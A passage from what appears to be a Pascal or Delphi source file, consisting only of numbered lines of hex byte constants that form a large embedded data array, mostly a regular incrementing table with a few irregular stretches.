  399. $48, $0F, $00, $00, $98, $1E, $00, $00, $40, $3D,
  400. $00, $00, $A0, $7A, $00, $00, $80, $F5, $01, $00,
  401. $80, $EB, $03, $00, $00, $D8, $07, $00, $00, $B2,
  402. $0F, $00, $00, $68, $1E, $00, $00, $D8, $3D, $00,
  403. $00, $C0, $7B, $00, $00, $A0, $F7, $00, $00, $80,
  404. $EF, $01, $00, $80, $E0, $03, $00, $00, $C2, $07,
  405. $00, $00, $88, $0F, $00, $00, $18, $1F, $00, $00,
  406. $40, $3E, $00, $00, $A0, $7C, $00, $00, $80, $F9,
  407. $00, $00, $80, $F3, $01, $00, $00, $E8, $03, $00,
  408. $00, $D2, $07, $00, $00, $A8, $0F, $00, $00, $58,
  409. $1F, $00, $00, $C0, $3E, $00, $00, $A0, $7D, $00,
  410. $00, $80, $FB, $00, $00, $80, $F7, $01, $00, $00,
  411. $F0, $03, $00, $00, $E2, $07, $00, $00, $C8, $0F,
  412. $00, $00, $98, $1F, $00, $00, $40, $3F, $00, $00,
  413. $A0, $7E, $00, $00, $80, $FD, $01, $00, $80, $FB,
  414. $03, $00, $00, $F8, $07, $00, $00, $F2, $0F, $00,
  415. $00, $E8, $1F, $00, $00, $D8, $3F, $00, $00, $C0,
  416. $7F, $00, $00, $A0, $FF, $00, $00, $80, $FF, $01,
  417. $00, $80, $00, $04, $00, $00, $02, $08, $00, $00,
  418. $08, $10, $00, $00, $18, $20, $00, $00, $40, $40,
  419. $00, $00, $A0, $80, $00, $00, $80, $01, $01, $00,
  420. $80, $03, $02, $00, $00, $08, $04, $00, $00, $12,
  421. $08, $00, $00, $28, $10, $00, $00, $58, $20, $00,
  422. $00, $C0, $40, $00, $00, $A0, $81, $00, $00, $80,
  423. $03, $01, $00, $80, $07, $02, $00, $00, $10, $04,
  424. $00, $00, $22, $08, $00, $00, $48, $10, $00, $00,
  425. $98, $20, $00, $00, $40, $41, $00, $00, $A0, $82,
  426. $01, $00, $80, $05, $02, $00, $80, $0B, $04, $00,
  427. $00, $18, $08, $00, $00, $32, $10, $00, $00, $68,
  428. $20, $00, $00, $D8, $41, $00, $00, $C0, $83, $00,
  429. $00, $A0, $07, $01, $00, $80, $0F, $02, $00, $80,
  430. $20, $04, $00, $00, $42, $08, $00, $00, $88, $10,
  431. $00, $00, $18, $21, $00, $00, $40, $42, $00, $00,
  432. $A0, $84, $00, $00, $80, $09, $01, $00, $80, $13,
  433. $02, $00, $00, $28, $04, $00, $00, $52, $08, $00,
  434. $00, $A8, $10, $00, $00, $58, $21, $00, $00, $C0,
  435. $42, $00, $00, $A0, $85, $00, $00, $80, $0B, $01,
  436. $00, $80, $17, $02, $00, $00, $30, $04, $00, $00,
  437. $62, $08, $00, $00, $C8, $10, $00, $00, $98, $21,
  438. $00, $00, $40, $43, $00, $00, $A0, $86, $01, $00,
  439. $80, $0D, $02, $00, $80, $1B, $04, $00, $00, $38,
  440. $08, $00, $00, $72, $10, $00, $00, $E8, $21, $00,
  441. $00, $D8, $43, $00, $00, $C0, $87, $00, $00, $A0,
  442. $0F, $01, $00, $80, $1F, $02, $00, $80, $40, $04,
  443. $00, $00, $82, $08, $00, $00, $08, $11, $00, $00,
  444. $18, $22, $00, $00, $40, $44, $00, $00, $A0, $88,
  445. $00, $00, $80, $11, $01, $00, $80, $23, $02, $00,
  446. $00, $48, $04, $00, $00, $92, $08, $00, $00, $28,
  447. $11, $00, $00, $58, $22, $00, $00, $C0, $44, $00,
  448. $00, $A0, $89, $00, $00, $80, $13, $01, $00, $80,
  449. $27, $02, $00, $00, $50, $04, $00, $00, $A2, $08,
  450. $00, $00, $48, $11, $00, $00, $98, $22, $00, $00,
  451. $40, $45, $00, $00, $A0, $8A, $01, $00, $80, $15,
  452. $02, $00, $80, $2B, $04, $00, $00, $58, $08, $00,
  453. $00, $B2, $11, $00, $00, $68, $22, $00, $00, $D8,
  454. $45, $00, $00, $C0, $8B, $00, $00, $A0, $17, $01,
  455. $00, $80, $2F, $02, $00, $80, $60, $04, $00, $00,
  456. $C2, $08, $00, $00, $88, $11, $00, $00, $18, $23,
  457. $00, $00, $40, $46, $00, $00, $A0, $8C, $00, $00,
  458. $80, $19, $01, $00, $80, $33, $02, $00, $00, $68,
  459. $04, $00, $00, $D2, $08, $00, $00, $A8, $11, $00,
  460. $00, $58, $23, $00, $00, $C0, $46, $00, $00, $A0,
  461. $8D, $00, $00, $80, $1B, $01, $00, $80, $37, $02,
  462. $00, $00, $70, $04, $00, $00, $E2, $08, $00, $00,
  463. $C8, $11, $00, $00, $98, $23, $00, $00, $40, $47,
  464. $00, $00, $A0, $8E, $01, $00, $80, $1D, $02, $00,
  465. $80, $3B, $04, $00, $00, $78, $08, $00, $00, $F2,
  466. $11, $00, $00, $E8, $23, $00, $00, $D8, $47, $00,
  467. $00, $C0, $8F, $00, $00, $A0, $1F, $01, $00, $80,
  468. $3F, $02, $00, $80, $80, $04, $00, $00, $02, $09,
  469. $00, $00, $08, $12, $00, $00, $18, $24, $00, $00,
  470. $40, $48, $00, $00, $A0, $90, $00, $00, $80, $21,
  471. $01, $00, $80, $43, $02, $00, $00, $88, $04, $00,
  472. $00, $12, $09, $00, $00, $28, $12, $00, $00, $58,
  473. $24, $00, $00, $C0, $48, $00, $00, $A0, $91, $00,
  474. $00, $80, $23, $01, $00, $80, $47, $02, $00, $00,
  475. $90, $04, $00, $00, $22, $09, $00, $00, $48, $12,
  476. $00, $00, $98, $24, $00, $00, $40, $49, $00, $00,
  477. $A0, $92, $01, $00, $80, $25, $02, $00, $80, $4B,
  478. $04, $00, $00, $98, $09, $00, $00, $32, $12, $00,
  479. $00, $68, $24, $00, $00, $D8, $49, $00, $00, $C0,
  480. $93, $00, $00, $A0, $27, $01, $00, $80, $4F, $02,
  481. $00, $80, $A0, $04, $00, $00, $42, $09, $00, $00,
  482. $88, $12, $00, $00, $18, $25, $00, $00, $40, $4A,
  483. $00, $00, $BA, $94, $00, $80, $9A, $2E, $11, $00,
  484. $80, $53, $0A, $00, $40, $C0, $B0, $1C, $39, $52,
  485. $D9, $68, $01, $A8, $13, $A8, $00, $18, $BA, $01,
  486. $80, $CE, $EA, $06, $00, $60, $91, $00, $DC, $1C,
  487. $7A, $9B, $B3, $B2, $6D, $92, $72, $61, $DE, $61,
  488. $DE, $DC, $8A, $DB, $99, $81, $48, $AE, $73, $9B,
  489. $21, $6F, $22, $54, $66, $A8, $2D, $0F, $60, $5B,
  490. $08, $14, $4C, $52, $82, $FF, $92, $7B, $34, $40,
  491. $00, $EC, $42, $B8, $60, $8C, $13, $00, $00, $E8,
  492. $25, $00, $00, $D8, $4B, $00, $00, $C0, $97, $00,
  493. $00, $A0, $2F, $01, $00, $80, $5F, $02, $00, $80,
  494. $C0, $04, $00, $00, $82, $09, $00, $00, $08, $13,
  495. $00, $00, $18, $26, $00, $00, $40, $4C, $00, $00,
  496. $A0, $98, $00, $00, $80, $31, $01, $00, $80, $63,
  497. $02, $00, $00, $C8, $04, $00, $00, $92, $09, $00,
  498. $00, $28, $13, $00, $00, $58, $26, $00, $00, $C0,
  499. $4C, $00, $00, $A0, $99, $00, $00, $80, $33, $01,
  500. $00, $80, $67, $02, $00, $00, $D0, $04, $00, $00,
  501. $A2, $09, $00, $00, $48, $13, $00, $00, $98, $26,
  502. $00, $00, $40, $4D, $00, $00, $A0, $9A, $01, $00,
  503. $80, $35, $02, $00, $80, $6B, $04, $00, $00, $D8,
  504. $09, $00, $00, $B2, $13, $00, $00, $68, $26, $00,
  505. $00, $D8, $4D, $00, $00, $C0, $9B, $00, $00, $A0,
  506. $37, $01, $00, $80, $6F, $02, $00, $80, $E0, $04,
  507. $00, $00, $C2, $09, $00, $00, $88, $13, $00, $00,
  508. $18, $27, $00, $00, $40, $4E, $00, $00, $A0, $9C,
  509. $00, $00, $80, $39, $01, $00, $80, $73, $02, $00,
  510. $00, $E8, $04, $00, $00, $D2, $09, $00, $00, $A8,
  511. $13, $00, $00, $58, $27, $00, $00, $C0, $4E, $00,
  512. $00, $A0, $9D, $00, $00, $80, $3B, $01, $00, $80,
  513. $77, $02, $00, $00, $F0, $04, $00, $00, $E2, $09,
  514. $00, $00, $C8, $13, $00, $00, $98, $27, $00, $00,
  515. $40, $4F, $00, $00, $A0, $9E, $01, $00, $80, $3D,
  516. $02, $00, $80, $7B, $04, $00, $00, $F8, $09, $00,
  517. $00, $F2, $13, $00, $00, $E8, $27, $00, $00, $D8,
  518. $4F, $00, $00, $C0, $9F, $00, $00, $A0, $3F, $01,
  519. $00, $80, $7F, $02, $00, $80, $00, $05, $00, $00,
  520. $7A, $6A, $00, $00, $08, $14, $00, $00, $18, $28,
  521. $00, $00, $00, $56, $03, $00, $A0, $AA, $06, $00,
  522. $80, $53, $0D, $00, $80, $83, $02, $00, $00, $08,
  523. $05, $00, $00, $F0, $6A, $00, $00, $58, $D5, $00,
  524. $00, $58, $28, $00, $00, $C0, $50, $00, $00, $A0,
  525. $A1, $00, $00, $80, $43, $01, $00, $80, $87, $02,
  526. $00, $00, $6C, $35, $00, $00, $02, $6B, $00, $00,
  527. $48, $14, $01, $00, $68, $AC, $00, $00, $40, $51,
  528. $06, $00, $20, $AD, $0D, $00, $80, $61, $02, $00,
  529. $80, $8B, $35, $00, $00, $86, $0A, $00, $00, $32,
  530. $01, $49, $39, $45, $4A, $9A, $91, $F1, $13, $C6,
  531. $C6, $26, $03, $6A, $AA, $A8, $93, $8D, $8C, $0B,
  532. $BD, $34, $36, $80, $20, $05, $47, $65, $AA, $90,
  533. $DE, $C8, $5D, $A5, $95, $21, $13, $5A, $23, $63,
  534. $10, $44, $04, $00, $AF, $A4, $A0, $08, $DC, $53,
  535. $1C, $94, $39, $24, $B3, $B2, $00, $5B, $05, $00,
  536. $E6, $C8, $C0, $E6, $09, $2D, $89, $95, $02, $20,
  537. $EA, $0B, $00, $C0, $52, $00, $00, $A0, $A5, $00,
  538. $00, $80, $4B, $01, $00, $80, $97, $02, $00, $00,
  539. $30, $05, $00, $00, $62, $0A, $00, $00, $C8, $14,
  540. $00, $00, $98, $29, $00, $00, $40, $53, $00, $00,
  541. $A0, $A6, $01, $00, $80, $4D, $02, $00, $80, $9B,
  542. $05, $00, $00, $38, $0A, $00, $00, $72, $14, $00,
  543. $00, $E8, $29, $00, $00, $D8, $53, $00, $00, $C0,
  544. $A7, $00, $00, $A0, $4F, $01, $00, $80, $9F, $02,
  545. $00, $80, $40, $05, $00, $00, $82, $0A, $00, $00,
  546. $08, $15, $00, $00, $18, $2A, $00, $00, $40, $54,
  547. $00, $00, $A0, $A8, $00, $00, $80, $51, $01, $00,
  548. $80, $A3, $02, $00, $00, $48, $05, $00, $00, $92,
  549. $0A, $00, $00, $28, $15, $00, $00, $58, $2A, $00,
  550. $00, $C0, $54, $00, $00, $A0, $A9, $00, $00, $80,
  551. $53, $01, $00, $80, $A7, $02, $00, $00, $50, $05,
  552. $00, $00, $A2, $0A, $00, $00, $48, $15, $00, $00,
  553. $98, $2A, $00, $00, $40, $55, $00, $00, $A0, $AA,
  554. $01, $00, $80, $55, $02, $00, $80, $AB, $05, $00,
  555. $00, $58, $0A, $00, $00, $B2, $15, $00, $00, $68,
  556. $2A, $00, $00, $D8, $55, $00, $00, $C0, $AB, $00,
  557. $00, $A0, $57, $01, $00, $80, $AF, $02, $00, $80,
  558. $60, $05, $00, $00, $C2, $0A, $00, $00, $88, $15,
  559. $00, $00, $18, $2B, $00, $00, $40, $56, $00, $00,
  560. $A0, $AC, $00, $00, $80, $59, $01, $00, $80, $B3,
  561. $02, $00, $00, $68, $05, $00, $00, $D2, $0A, $00,
  562. $00, $A8, $15, $00, $00, $58, $2B, $00, $00, $C0,
  563. $56, $00, $00, $A0, $AD, $00, $00, $80, $5B, $01,
  564. $00, $80, $B7, $02, $00, $00, $70, $05, $00, $00,
  565. $E2, $0A, $00, $00, $C8, $15, $00, $00, $98, $2B,
  566. $00, $00, $40, $57, $00, $00, $A0, $AE, $01, $00,
  567. $80, $5D, $02, $00, $80, $BB, $05, $00, $00, $78,
  568. $0A, $00, $00, $F2, $15, $00, $00, $E8, $2B, $00,
  569. $00, $D8, $57, $00, $00, $C0, $AF, $00, $00, $A0,
  570. $5F, $01, $00, $80, $BF, $02, $00, $80, $80, $05,
  571. $00, $00, $02, $2B, $00, $00, $68, $14, $00, $00,
  572. $51, $A5, $51, $8A, $03, $7D, $F3, $12, $06, $9E,
  573. $66, $34, $8C, $0A, $8D, $6F, $18, $21, $1A, $E9,
  574. $32, $50, $34, $0B, $64, $22, $6F, $48, $C9, $84,
  575. $DE, $18, $93, $31, $BE, $F1, $28, $93, $70, $C3,
  576. $5A, $26, $E2, $86, $D7, $0C, $B6, $8D, $C7, $19,
  577. $7F, $1B, $17, $34, $AC, $31, $92, $68, $18, $63,
  578. $4C, $D2, $68, $C4, $01, $A6, $49, $88, $A3, $4E,
  579. $23, $15, $06, $9F, $86, $2C, $4C, $41, $0D, $5A,
  580. $18, $89, $9A, $4D, $30, $1F, $35, $81, $61, $80,
  581. $6A, $58, $C3, $5C, $D5, $5C, $87, $69, $AB, $C1,
  582. $0E, $C3, $57, $A3, $03, $06, $B1, $E6, $04, $CC,
  583. $65, $0D, $00, $98, $D2, $9A, $0B, $30, $B2, $35,
  584. $30, $60, $82, $6B, $A8, $C1, $4C, $DE, $A1, $91,
  585. $E9, $E4, $63, $90, $33, $C9, $67, $2E, $87, $9B,
  586. $00, $51, $0E, $00, $80, $D3, $02, $00, $00, $A8,
  587. $05, $00, $00, $52, $0B, $00, $00, $A8, $16, $00,
  588. $00, $58, $2D, $00, $00, $C0, $5A, $00, $00, $A0,
  589. $B5, $00, $00, $80, $6B, $01, $00, $80, $D7, $02,
  590. $00, $00, $B0, $05, $00, $00, $62, $0B, $00, $00,
  591. $C8, $16, $00, $00, $98, $2D, $00, $00, $40, $5B,
  592. $00, $00, $A0, $B6, $01, $00, $80, $6D, $02, $00,
  593. $80, $DB, $05, $00, $00, $B8, $0B, $00, $00, $72,
  594. $16, $00, $00, $E8, $2D, $00, $00, $D8, $5B, $00,
  595. $00, $C0, $B7, $00, $00, $A0, $6F, $01, $00, $80,
  596. $DF, $02, $00, $80, $C0, $05, $00, $00, $82, $0B,
  597. $00, $00, $08, $17, $00, $00, $18, $2E, $00, $00,
  598. $40, $5C, $00, $00, $A0, $B8, $00, $00, $80, $71,
  599. $01, $00, $80, $E3, $02, $00, $00, $C8, $05, $00,
  600. $00, $92, $0B, $00, $00, $28, $17, $00, $00, $58,
  601. $2E, $00, $00, $C0, $5C, $00, $00, $A0, $B9, $00,
  602. $00, $80, $73, $01, $00, $80, $E7, $02, $00, $00,
  603. $D0, $05, $00, $00, $A2, $0B, $00, $00, $48, $17,
  604. $00, $00, $98, $2E, $00, $00, $40, $5D, $00, $00,
  605. $A0, $BA, $01, $00, $80, $75, $02, $00, $80, $EB,
  606. $05, $00, $00, $D8, $0B, $00, $00, $B2, $17, $00,
  607. $00, $68, $2E, $00, $00, $D8, $5D, $00, $00, $C0,
  608. $BB, $00, $00, $A0, $77, $01, $00, $80, $EF, $02,
  609. $00, $80, $E0, $05, $00, $00, $C2, $0B, $00, $00,
  610. $88, $17, $00, $00, $18, $2F, $00, $00, $40, $5E,
  611. $00, $00, $A0, $BC, $00, $00, $80, $79, $01, $00,
  612. $80, $F3, $02, $00, $00, $E8, $05, $00, $00, $D2,
  613. $0B, $00, $00, $A8, $17, $00, $00, $58, $2F, $00,
  614. $00, $C0, $5E, $00, $00, $A0, $BD, $00, $00, $80,
  615. $7B, $01, $00, $80, $F7, $02, $00, $00, $F0, $05,
  616. $00, $00, $E2, $0B, $00, $00, $C8, $17, $00, $00,
  617. $98, $2F, $00, $00, $40, $5F, $00, $00, $A0, $BE,
  618. $01, $00, $80, $7D, $02, $00, $80, $FB, $05, $00,
  619. $00, $F8, $0B, $00, $00, $F2, $17, $00, $00, $E8,
  620. $2F, $00, $00, $D8, $5F, $00, $00, $C0, $BF, $00,
  621. $00, $A0, $7F, $01, $00, $80, $FF, $02, $00, $80,
  622. $00, $06, $00, $00, $02, $0C, $00, $00, $08, $18,
  623. $00, $00, $18, $30, $00, $00, $40, $60, $00, $00,
  624. $A0, $C0, $00, $00, $80, $81, $01, $00, $80, $03,
  625. $03, $00, $00, $08, $06, $00, $00, $12, $0C, $00,
  626. $00, $28, $18, $00, $00, $58, $30, $00, $00, $C0,
  627. $60, $00, $00, $A0, $C1, $00, $00, $80, $83, $01,
  628. $00, $80, $07, $03, $00, $00, $10, $06, $00, $00,
  629. $22, $0C, $00, $00, $48, $18, $00, $00, $98, $30,
  630. $00, $00, $40, $61, $00, $00, $A0, $C2, $01, $00,
  631. $80, $85, $03, $00, $80, $0B, $06, $00, $00, $18,
  632. $0C, $00, $00, $32, $18, $00, $00, $68, $30, $00,
  633. $00, $D8, $61, $00, $00, $C0, $C3, $00, $00, $A0,
  634. $87, $01, $00, $80, $0F, $03, $00, $80, $20, $06,
  635. $00, $00, $42, $0C, $00, $00, $88, $18, $00, $00,
  636. $18, $31, $00, $00, $40, $62, $00, $00, $A0, $C4,
  637. $00, $00, $80, $89, $01, $00, $80, $13, $03, $00,
  638. $00, $28, $06, $00, $00, $52, $0C, $00, $00, $A8,
  639. $18, $00, $00, $58, $31, $00, $00, $C0, $62, $00,
  640. $00, $A0, $C5, $00, $00, $80, $8B, $01, $00, $80,
  641. $17, $03, $00, $00, $30, $06, $00, $00, $62, $0C,
  642. $00, $00, $C8, $18, $00, $00, $98, $31, $00, $00,
  643. $40, $63, $00, $00, $A0, $C6, $01, $00, $80, $8D,
  644. $03, $00, $80, $1B, $06, $00, $00, $38, $0C, $00,
  645. $00, $72, $18, $00, $00, $E8, $31, $00, $00, $D8,
  646. $63, $00, $00, $C0, $C7, $00, $00, $A0, $8F, $01,
  647. $00, $80, $1F, $03, $00, $80, $40, $06, $00, $00,
  648. $82, $0C, $00, $00, $08, $19, $00, $00, $18, $32,
  649. $00, $00, $40, $64, $00, $00, $A0, $C8, $00, $00,
  650. $80, $91, $01, $00, $80, $23, $03, $00, $00, $48,
  651. $06, $00, $00, $92, $0C, $00, $00, $28, $19, $00,
  652. $00, $58, $32, $00, $00, $C0, $64, $00, $00, $A0,
  653. $C9, $00, $00, $80, $93, $01, $00, $80, $27, $03,
  654. $00, $00, $50, $06, $00, $00, $A2, $0C, $00, $00,
  655. $48, $19, $00, $00, $98, $32, $00, $00, $40, $65,
  656. $00, $00, $A0, $CA, $01, $00, $80, $95, $03, $00,
  657. $80, $2B, $06, $00, $00, $58, $0C, $00, $00, $B2,
  658. $19, $00, $00, $68, $32, $00, $00, $D8, $65, $00,
  659. $00, $C0, $CB, $00, $00, $A0, $97, $01, $00, $80,
  660. $2F, $03, $00, $80, $60, $06, $00, $00, $C2, $0C,
  661. $00, $00, $88, $19, $00, $00, $18, $33, $00, $00,
  662. $40, $66, $00, $00, $A0, $CC, $00, $00, $80, $99,
  663. $01, $00, $80, $33, $03, $00, $00, $68, $06, $00,
  664. $00, $D2, $0C, $00, $00, $A8, $19, $00, $00, $58,
  665. $33, $00, $00, $C0, $66, $00, $00, $A0, $CD, $00,
  666. $00, $80, $9B, $01, $00, $80, $37, $03, $00, $00,
  667. $70, $06, $00, $00, $E2, $0C, $00, $00, $C8, $19,
  668. $00, $00, $98, $33, $00, $00, $40, $67, $00, $00,
  669. $A0, $CE, $01, $00, $80, $9D, $03, $00, $80, $3B,
  670. $06, $00, $00, $78, $0C, $00, $00, $F2, $19, $00,
  671. $00, $E8, $33, $00, $00, $D8, $67, $00, $00, $C0,
  672. $CF, $00, $00, $A0, $9F, $01, $00, $80, $3F, $03,
  673. $00, $80, $80, $06, $00, $00, $02, $0D, $00, $00,
  674. $08, $1A, $00, $00, $18, $34, $00, $00, $40, $68,
  675. $00, $00, $A0, $D0, $00, $00, $80, $A1, $01, $00,
  676. $80, $43, $03, $00, $00, $88, $06, $00, $00, $12,
  677. $0D, $00, $00, $28, $1A, $00, $00, $58, $34, $00,
  678. $00, $C0, $68, $00, $00, $A0, $D1, $00, $00, $80,
  679. $A3, $01, $00, $80, $47, $03, $00, $00, $90, $06,
  680. $00, $00, $22, $0D, $00, $00, $48, $1A, $00, $00,
  681. $98, $34, $00, $00, $40, $69, $00, $00, $A0, $D2,
  682. $01, $00, $80, $A5, $03, $00, $80, $4B, $06, $00,
  683. $00, $98, $0D, $00, $00, $32, $1A, $00, $00, $68,
  684. $34, $00, $00, $D8, $69, $00, $00, $C0, $D3, $00,
  685. $00, $A0, $A7, $01, $00, $80, $4F, $03, $00, $80,
  686. $A0, $06, $00, $00, $42, $0D, $00, $00, $88, $1A,
  687. $00, $00, $18, $35, $00, $00, $40, $6A, $00, $00,
  688. $A0, $D4, $00, $00, $80, $A9, $01, $00, $80, $53,
  689. $03, $00, $00, $A8, $06, $00, $00, $52, $0D, $00,
  690. $00, $A8, $1A, $00, $00, $58, $35, $00, $00, $C0,
  691. $6A, $00, $00, $A0, $D5, $00, $00, $80, $AB, $01,
  692. $00, $80, $57, $03, $00, $00, $B0, $06, $00, $00,
  693. $62, $0D, $00, $00, $C8, $1A, $00, $00, $98, $35,
  694. $00, $00, $40, $6B, $00, $00, $A0, $D6, $01, $00,
  695. $80, $AD, $03, $00, $80, $5B, $06, $00, $00, $B8,
  696. $0D, $00, $00, $72, $1A, $00, $00, $E8, $35, $00,
  697. $00, $D8, $6B, $00, $00, $C0, $D7, $00, $00, $A0,
  698. $AF, $01, $00, $80, $5F, $03, $00, $80, $C0, $06,
  699. $00, $00, $82, $0D, $00, $00, $08, $1B, $00, $00,
  700. $18, $36, $00, $00, $40, $6C, $00, $00, $A0, $D8,
  701. $00, $00, $80, $B1, $01, $00, $80, $63, $03, $00,
  702. $00, $C8, $06, $00, $00, $92, $0D, $00, $00, $28,
  703. $1B, $00, $00, $58, $36, $00, $00, $C0, $6C, $00,
  704. $00, $A0, $D9, $00, $00, $80, $B3, $01, $00, $80,
  705. $67, $03, $00, $00, $D0, $06, $00, $00, $A2, $0D,
  706. $00, $00, $48, $1B, $00, $00, $98, $36, $00, $00,
  707. $40, $6D, $00, $00, $A0, $DA, $01, $00, $80, $B5,
  708. $03, $00, $80, $6B, $06, $00, $00, $D8, $0D, $00,
  709. $00, $B2, $1B, $00, $00, $68, $36, $00, $00, $D8,
  710. $6D, $00, $00, $C0, $DB, $00, $00, $A0, $B7, $01,
  711. $00, $80, $6F, $03, $00, $80, $E0, $06, $00, $00,
  712. $C2, $0D, $00, $00, $88, $1B, $00, $00, $18, $37,
  713. $00, $00, $40, $6E, $00, $00, $A0, $DC, $00, $00,
  714. $80, $B9, $01, $00, $80, $73, $03, $00, $00, $E8,
  715. $06, $00, $00, $D2, $0D, $00, $00, $A8, $1B, $00,
  716. $00, $58, $37, $00, $00, $C0, $6E, $00, $00, $A0,
  717. $DD, $00, $00, $80, $BB, $01, $00, $80, $77, $03,
  718. $00, $00, $F0, $06, $00, $00, $E2, $0D, $00, $00,
  719. $C8, $1B, $00, $00, $98, $37, $00, $00, $40, $6F,
  720. $00, $00, $A0, $DE, $01, $00, $80, $BD, $03, $00,
  721. $80, $7B, $06, $00, $00, $F8, $0D, $00, $00, $F2,
  722. $1B, $00, $00, $E8, $37, $00, $00, $D8, $6F, $00,
  723. $00, $C0, $DF, $00, $00, $A0, $BF, $01, $00, $80,
  724. $7F, $03, $00, $80, $00, $07, $00, $00, $02, $0E,
  725. $00, $00, $08, $1C, $00, $00, $18, $38, $00, $00,
  726. $40, $70, $00, $00, $A0, $E0, $00, $00, $80, $C1,
  727. $01, $00, $80, $83, $03, $00, $00, $08, $07, $00,
  728. $00, $12, $0E, $00, $00, $28, $1C, $00, $00, $58,
  729. $38, $00, $00, $C0, $70, $00, $00, $A0, $E1, $00,
  730. $00, $80, $C3, $01, $00, $80, $87, $03, $00, $00,
  731. $10, $07, $00, $00, $22, $0E, $00, $00, $48, $1C,
  732. $00, $00, $98, $38, $00, $00, $40, $71, $00, $00,
  733. $A0, $E2, $01, $00, $80, $C5, $03, $00, $80, $8B,
  734. $07, $00, $00, $18, $0E, $00, $00, $32, $1C, $00,
  735. $00, $68, $38, $00, $00, $D8, $71, $00, $00, $C0,
  736. $E3, $00, $00, $A0, $C7, $01, $00, $80, $8F, $03,
  737. $00, $80, $20, $07, $00, $00, $42, $0E, $00, $00,
  738. $88, $1C, $00, $00, $18, $39, $00, $00, $40, $72,
  739. $00, $00, $A0, $E4, $00, $00, $80, $C9, $01, $00,
  740. $80, $93, $03, $00, $00, $28, $07, $00, $00, $52,
  741. $0E, $00, $00, $A8, $1C, $00, $00, $58, $39, $00,
  742. $00, $C0, $72, $00, $00, $A0, $E5, $00, $00, $80,
  743. $CB, $01, $00, $80, $97, $03, $00, $00, $30, $07,
  744. $00, $00, $62, $0E, $00, $00, $C8, $1C, $00, $00,
  745. $98, $39, $00, $00, $40, $73, $00, $00, $A0, $E6,
  746. $01, $00, $80, $CD, $03, $00, $80, $9B, $07, $00,
  747. $00, $38, $0E, $00, $00, $72, $1C, $00, $00, $E8,
  748. $39, $00, $00, $D8, $73, $00, $00, $C0, $E7, $00,
  749. $00, $A0, $CF, $01, $00, $80, $9F, $03, $00, $80,
  750. $40, $07, $00, $00, $82, $0E, $00, $00, $08, $1D,
  751. $00, $00, $18, $3A, $00, $00, $40, $74, $00, $00,
  752. $A0, $E8, $00, $00, $80, $D1, $01, $00, $80, $A3,
  753. $03, $00, $00, $48, $07, $00, $00, $92, $0E, $00,
  754. $00, $28, $1D, $00, $00, $58, $3A, $00, $00, $C0,
  755. $74, $00, $00, $A0, $E9, $00, $00, $80, $D3, $01,
  756. $00, $80, $A7, $03, $00, $00, $50, $07, $00, $00,
  757. $A2, $0E, $00, $00, $48, $1D, $00, $00, $98, $3A,
  758. $00, $00, $40, $75, $00, $00, $A0, $EA, $01, $00,
  759. $80, $D5, $03, $00, $80, $AB, $07, $00, $00, $58,
  760. $0E, $00, $00, $B2, $1D, $00, $00, $68, $3A, $00,
  761. $00, $D8, $75, $00, $00, $C0, $EB, $00, $00, $A0,
  762. $D7, $01, $00, $80, $AF, $03, $00, $80, $60, $07,
  763. $00, $00, $C2, $0E, $00, $00, $88, $1D, $00, $00,
  764. $18, $3B, $00, $00, $40, $76, $00, $00, $A0, $EC,
  765. $00, $00, $80, $D9, $01, $00, $80, $B3, $03, $00,
  766. $00, $68, $07, $00, $00, $D2, $0E, $00, $00, $A8,
  767. $1D, $00, $00, $58, $3B, $00, $00, $C0, $76, $00,
  768. $00, $A0, $ED, $00, $00, $80, $DB, $01, $00, $80,
  769. $B7, $03, $00, $00, $70, $07, $00, $00, $E2, $0E,
  770. $00, $00, $C8, $1D, $00, $00, $98, $3B, $00, $00,
  771. $40, $77, $00, $00, $A0, $EE, $01, $00, $80, $DD,
  772. $03, $00, $80, $BB, $07, $00, $00, $78, $0E, $00,
  773. $00, $F2, $1D, $00, $00, $E8, $3B, $00, $00, $D8,
  774. $77, $00, $00, $C0, $EF, $00, $00, $A0, $DF, $01,
  775. $00, $80, $BF, $03, $00, $80, $80, $07, $00, $00,
  776. $02, $0F, $00, $00, $08, $1E, $00, $00, $18, $3C,
  777. $00, $00, $40, $78, $00, $00, $A0, $F0, $00, $00,
  778. $80, $E1, $01, $00, $80, $C3, $03, $00, $00, $88,
  779. $07, $00, $00, $12, $0F, $00, $00, $28, $1E, $00,
  780. $00, $58, $3C, $00, $00, $C0, $78, $00, $00, $A0,
  781. $F1, $00, $00, $80, $E3, $01, $00, $80, $C7, $03,
  782. $00, $00, $90, $07, $00, $00, $22, $0F, $00, $00,
  783. $48, $1E, $00, $00, $98, $3C, $00, $00, $40, $79,
  784. $00, $00, $A0, $F2, $01, $00, $80, $E5, $03, $00,
  785. $80, $CB, $07, $00, $00, $98, $0F, $00, $00, $32,
  786. $1E, $00, $00, $68, $3C, $00, $00, $D8, $79, $00,
  787. $00, $C0, $F3, $00, $00, $A0, $E7, $01, $00, $80,
  788. $CF, $03, $00, $80, $A0, $07, $00, $00, $42, $0F,
  789. $00, $00, $88, $1E, $00, $00, $18, $3D, $00, $00,
  790. $40, $7A, $00, $00, $A0, $F4, $00, $00, $80, $E9,
  791. $01, $00, $80, $D3, $03, $00, $00, $A8, $07, $00,
  792. $00, $52, $0F, $00, $00, $A8, $1E, $00, $00, $58,
  793. $3D, $00, $00, $C0, $7A, $00, $00, $A0, $F5, $00,
  794. $00, $80, $EB, $01, $00, $80, $D7, $03, $00, $00,
  795. $B0, $07, $00, $00, $62, $0F, $00, $00, $C8, $1E,
  796. $00, $00, $98, $3D, $00, $00, $40, $7B, $00, $00,
  797. $A0, $F6, $01, $00, $80, $ED, $03, $00, $80, $DB,
  798. $07, $00, $00, $B8, $0F, $00, $00, $72, $1E, $00,
  799. $00, $E8, $3D, $00, $00, $D8, $7B, $00, $00, $C0,
  800. $F7, $00, $00, $A0, $EF, $01, $00, $80, $DF, $03,
  801. $00, $80, $C0, $07, $00, $00, $82, $0F, $00, $00,
  802. $08, $1F, $00, $00, $18, $3E, $00, $00, $40, $7C,
  803. $00, $00, $A0, $F8, $00, $00, $80, $F1, $01, $00,
  804. $80, $E3, $03, $00, $00, $C8, $07, $00, $00, $92,
  805. $0F, $00, $00, $28, $1F, $00, $00, $58, $3E, $00,
  806. $00, $C0, $7C, $00, $00, $A0, $F9, $00, $00, $80,
  807. $F3, $01, $00, $80, $E7, $03, $00, $00, $D0, $07,
  808. $00, $00, $A2, $0F, $00, $00, $48, $1F, $00, $00,
  809. $98, $3E, $00, $00, $40, $7D, $00, $00, $A0, $FA,
  810. $01, $00, $80, $F5, $03, $00, $80, $EB, $07, $00,
